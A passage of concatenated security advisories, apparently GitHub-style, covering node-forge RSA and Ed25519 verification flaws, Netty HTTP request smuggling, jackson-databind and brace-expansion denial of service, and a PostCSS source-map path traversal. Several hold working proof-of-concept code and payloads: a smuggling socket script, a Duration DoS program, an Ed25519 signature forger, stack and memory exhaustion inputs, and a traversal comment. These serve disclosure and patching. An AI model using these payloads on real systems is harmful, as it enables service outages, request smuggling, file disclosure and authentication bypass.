if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v1_5 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; ``` ## Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - `lib/rsa.js` `key.verify(...)` at lines ~1139-1223. - `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695. ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
## Summary Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ## Background This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques: - <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html> The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values. ## Technical Details **RFC 9110 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` **RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` Critically, the allowed character ranges within a quoted-string are: ``` qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ) ``` CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example). ## Vulnerability Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling. **Expected behavior (RFC-compliant):** A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid. **Actual behavior (Netty):** ``` Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request ``` The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely. ## Proof of Concept ```python #!/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` **Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling. ### Parsing Breakdown | Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)| ## Impact - **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection. - **Cache Poisoning**: Smuggled responses may poison shared caches. - **Access Control Bypass**: Smuggled requests can circumvent frontend security controls. - **Session Hijacking**: Smuggled requests may intercept responses intended for other users. ## Reproduction 1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive. ## Suggested Fix The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them: ``` 1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes. ``` ## Acknowledgments Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list. ## Resources - [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110) - [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html) - [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html) ## Attachments  [java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)
In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition. Specifically, an application is vulnerable if Reactor Netty HTTP Server built-in integration with Micrometer is enabled.
### Summary `jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration. ### Details `StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check. `CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory: ```java protected Object _deserialize(String value, DeserializationContext ctxt) { switch (_kind) { case TYPE_DURATION: return _dataTypeFactory.newDuration(value); // attacker lexical string case TYPE_G_CALENDAR: Date d; try { d = _parseDate(value, ctxt); } catch (DatabindException e) { return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return _gregorianFromDate(ctxt, d); } throw new IllegalStateException(); } ``` Per the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `"P" + "9"×N + "Y"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137` — `newDuration(value)` (TYPE_DURATION) - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147` — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback) - Registration (default, no opt-in): `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46` (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`) - Contrast — correct length-guard pattern already used elsewhere in the library: `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139` ## Proof of Concept PoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only "special" element is a normal DTO exposing a `javax.xml.datatype.Duration` field. ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration; /** * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. */ public class Vuln07_DurationDoS { public static class Cfg { public Duration ttl; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5_000_000); // Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms"); String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } } ``` Minimal HTTP-shaped payload (what an attacker sends): ```json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000 ``` An `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g. `{ "at": "0000-01-01T00:00:00." + "9"×N }`. ## Execution Steps The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works). ```bash # 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # If not already cached, fetch them once, e.g.: # mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 # (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps) # 1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java # 2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS # 3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS ``` The `digits` system property controls the number of `9` characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further. Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`. ## Reproduction Evidence Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes: **digits = 5,000,000 (~5 MB payload):** ``` Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` **digits = 1,000,000 (~1 MB payload, for fast repeatability):** ``` Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` Interpretation: a normal `"P1Y"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core's `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded). ## Impact An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing. ## Recommended Fix Apply the same validate-length-then-parse idiom the core `NumberDeserializers` already use: 1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before calling `newDuration(value)` / `newXMLGregorianCalendar(value)` — e.g. reject inputs longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound), routing over-length input through `ctxt.handleWeirdStringValue(...)`. 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to `DatatypeFactory`. 3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must be length-limited at the transport layer.
## Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. **Configuration assumptions:** - Default forge Ed25519 verify API path (`ed25519.verify(...)`). ## Root Cause In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication: ```javascript scalarbase(q, sm.subarray(32)); ``` There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. ## Reproduction Steps - Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. - Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`). - Confirm output includes: ```json { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit: ```text { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` <details><summary>poc.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); ``` </details> ## Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: ```diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { ``` ## Resources - RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
### Summary `expand_()` recurses once per level of brace *nesting*. Deeply nested input exhausts the native stack and crashes the process. This is distinct from CVE-2026-14257 / GHSA-mh99-v99m-4gvg, which made the *tail* iterative (recursion on `m.post`, driven by how many groups are chained). Nesting depth drives a different recursion that the tail fix never touched, so the documented constant-stack-depth guarantee only ever covered chained input, not nested input. It is also distinct from GHSA-6j4f-fj2g-mc7p, which fixed recursion in `parseCommaParts()`. Both payloads below still crash with that fix applied. ### Two recursion sites **Comma members.** Each alternative of a brace set is expanded by a recursive call, so nesting a set inside every alternative recurses once per level: ```js expand('{a,'.repeat(4000) + 'z' + '}'.repeat(4000)) // RangeError: Maximum call stack size exceeded ``` Crashes at depth 3,907 - about **15.6 KB** of input. **Single set.** A brace set whose body parses to a single part is expanded by a recursive call before being re-wrapped (`x{{a,b}}y` -> `x{a}y x{b}y`), which recurses once per nesting level: ```js expand('{'.repeat(3200) + 'a,b' + '}'.repeat(3200)) // RangeError: Maximum call stack size exceeded ``` Crashes at depth 3,125 - about **6.25 KB** of input. This is the cheapest stack-exhaustion payload known against this package: roughly a quarter the input of GHSA-6j4f-fj2g-mc7p (29 KB), and about a tenth of minimatch's `MAX_PATTERN_LENGTH` (65,536). ### Why `max` and `maxLength` do not help Both crashes happen while recursing into sub-expansions, before the result set grows. The payloads produce almost no output - the single-set case yields 2 results - so neither bound is ever the limiter. `expand(payload, { max: 1, maxLength: 1 })` still overflows. ### Impact Any application passing an untrusted string to `expand()`, directly or through `minimatch` / `glob` as a user-supplied glob pattern, can be crashed. In Node a `RangeError` the application does not catch terminates the process, so a server globbing user input is exposed to remote unauthenticated denial of service. Availability only. No code execution, no data exposure. ### Affected versions Verified affected on 1.1.18, 2.1.4, 3.0.6 and 5.0.9, at near-identical depths on every line (single set: 3,125 on all four; comma members: 3,907-4,102). Not a regression from any recent fix - the gap predates them. ### Patch A `maxDepth` bound (default `EXPANSION_MAX_DEPTH`) is threaded through `expand_()`. Past the cap a group is treated as non-expanding and returned literally, which is how the parser already handles a group that cannot expand. This matches the existing `max` / `maxLength` caps, which truncate rather than throw, so `expand()` continues never to throw on any input. The default sits far above any realistic nesting depth and well below the crash threshold.
## Vulnerability Details **File**: `lib/previous-map.js` **Line**: 87-98 (`loadFile`), 129-144 (`loadMap`) ### Root Cause PostCSS auto-detects a `/*# sourceMappingURL=... */` comment inside the CSS text it is asked to parse and, unless the caller explicitly passes `map: false`, attempts to load that path from disk as a "previous source map." This happens on every `postcss.parse()` / `postcss().process()` call by default (opt-out, not opt-in). `loadMap()` builds the candidate path via `join(dirname(opts.from), annotation)`, where `annotation` is the raw, attacker-controlled string from the CSS comment. `path.join()` normalizes but does not sandbox `..` segments, so a `../../../` prefix walks the resolved path outside the intended directory. If `opts.from` is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim. 8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in `.map` (`loadFile()`). That fix did not address the traversal itself, only the target extension. Since the `join(dirname(file), map)` logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in `.map` remains readable through this path in the current release (8.5.16). Once loaded, `MapGenerator.isMap()` treats the mere presence of a loaded "previous map" as an implicit request to generate `result.map`, even when the caller never set the `map` option. If the loaded map has a `sourcesContent` field (common for maps emitted by bundlers/transpilers), that content is merged into `result.map` and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS. ### Attack Scenario 1. A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g. `postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })` — idiomatic usage; `map` option untouched. 2. Attacker submits CSS containing `/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */` (or an absolute path if `from` is unset). 3. PostCSS reads that `.map` file and folds its `sourcesContent` into `result.map`. 4. The service does what most build pipelines do with a truthy `result.map` — writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served). 5. Attacker retrieves the emitted map and reads out the traversed file's content. ### Impact Disclosure of the contents of arbitrary `.map` files reachable via path traversal (or absolute path when `from` is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing `map: false`. No authentication or user interaction beyond submitting CSS text is required. ### Vulnerable Code ```js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } loadMap(file, prev) { ... } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) let unknown = this.loadFile(map, file, false) ... } } ``` ### Recommended Fix Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check: ```js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (!cssFile) return undefined let root = resolve(dirname(cssFile)) let resolvedPath = resolve(root, path) if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) { return undefined } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } ``` I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited. ### Verification Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against `lib/postcss.js`: a "secret" `.map` file placed two directories outside a simulated project directory was read via a crafted `sourceMappingURL` comment in otherwise-innocuous CSS, with its `sourcesContent` appearing verbatim in `result.map.toString()` — with no `map` option set by the caller. A second harness confirmed the simpler no-`from` case reads an absolute path directly. A third harness confirmed `map: false` is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.
### Summary The `maxLength` mitigation added in `5.0.8` for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are *combined*, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an **uncatchable** out-of-memory error, so `try/catch` around `expand()` does not help. A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound. ### Details `maxLength` was enforced in `combine()`, the single place output grows. Two arrays are built *before* `combine()` runs, and neither was bounded. **1. Comma alternatives accumulate without a running total (memory exhaustion)** Each alternative in `{a,b,c,...}` is expanded by its own recursive `expand_()` call, so each receives a full, independent `maxLength` allowance. The results were then concatenated into a single `values` array with no cumulative limit: ```js values = [] for (let j = 0; j < n.length; j++) { values.push.apply(values, expand_(n[j], max, maxLength, false)) } acc = combine(acc, pre, values, max, maxLength, ...) ``` With `A` alternatives, `values` can reach `A * maxLength` characters before `combine()` gets a chance to truncate it. At the default `maxLength` of 4,000,000 and 400 alternatives, that is well past any default heap. **2. Padded sequences ignore `maxLength` while generating (CPU exhaustion)** `expandSequence()` was bounded by `max` (the result *count*) but never consulted `maxLength`. A padded sequence's element width follows the input, so `{0...01..100000}` with a wide pad generates `max` elements, each as wide as the input, only for `combine()` to discard all but a handful. Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to `max * width`. | pad width | input bytes | results kept | time (5.0.8) | time (patched) | |---|---|---|---|---| | 20,000 | 20 KB | 199 | ~7.3 s | ~20 ms | | 100,000 | 100 KB | 39 | ~32 s | ~20 ms | | 400,000 | 400 KB | 9 | ~124 s | ~18 ms | Output is byte-identical before and after the fix; only the wasted work is removed. ### Proof of concept Memory exhaustion, against `5.0.8`: ```js import { expand } from 'brace-expansion' const part = '{' + '0'.repeat(50) + '1..100000}' const input = '{' + Array(400).fill(part).join(',') + '}' // ~25 KB try { expand(input) } catch (e) { // never reached - the process is already dead } ``` ``` FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory Aborted ``` Event-loop stall, against `5.0.8`: ```js import { expand } from 'brace-expansion' // ~400 KB input, returns 9 results after roughly two minutes of blocking CPU expand('{' + '0'.repeat(400_000) + '1..100000}') ``` ### Impact Denial of service. Any application that passes attacker-controlled input to `expand()`, directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with `try/catch`. Applications already on `5.0.8` are affected: the `5.0.8` mitigation does not cover these paths. ### Patches Both intermediate arrays are now bounded as they are built, using the same `max` and `maxLength` limits already applied in `combine()`: - `values` tracks a running result count and character length while alternatives are appended, and stops once either bound is reached. - `expandSequence()` accepts `maxLength` and stops generating once the sequence's own characters reach it. As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how `max` already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted input to `expand()` or to glob brace patterns, or pass an explicitly small `max` **and** `maxLength`. Note that a small `maxLength` alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above. ### Credits The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at [Numyra](https://numyra.ai/). The sequence-generation issue was found while verifying that report.
